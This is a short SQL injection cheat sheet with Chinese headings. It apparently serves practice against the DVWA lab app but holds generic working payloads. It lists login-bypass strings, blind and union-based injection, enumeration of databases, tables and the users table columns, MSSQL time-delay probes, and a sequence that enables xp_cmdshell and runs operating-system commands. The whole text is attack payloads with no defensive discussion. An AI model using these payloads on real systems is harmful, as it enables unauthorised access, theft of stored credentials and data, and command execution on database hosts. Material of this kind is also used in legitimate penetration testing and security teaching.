# 测试可用注入
'
"
[
]
(
)
%
# 万能密码
admin'--
admin' or 1=1;--
1' or '1'='1
admin' or 1=1 limit 1;--
admin' or 1=1 limit 0,1--
# 盲注
1' or SUBSTR(BIN(ASCII(Substr(Database(),1,1))),1,1)=1 limit 0,1#
# 测定列数
1' order by 2#
# 联合查询
1' union select 1,2#
1' union select user(),database()#
# 所有库 所有表
' union select table_name,table_schema from information_schema.tables#
# 查表名
' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
# 查列名
' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
# MSSQL
a'; WAITFOR DELAY '0:0:5'--
a';IF ((SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell')=1) WAITFOR DELAY '0:0:5'--
# 启动xp_cmdshell
a';EXECUTE sp_configure 'show advanced options', 1;--
a';RECONFIGURE;--
a';EXECUTE sp_configure 'xp_cmdshell', 1;--
a';RECONFIGURE;--
a';EXEC master..xp_cmdshell @cmd--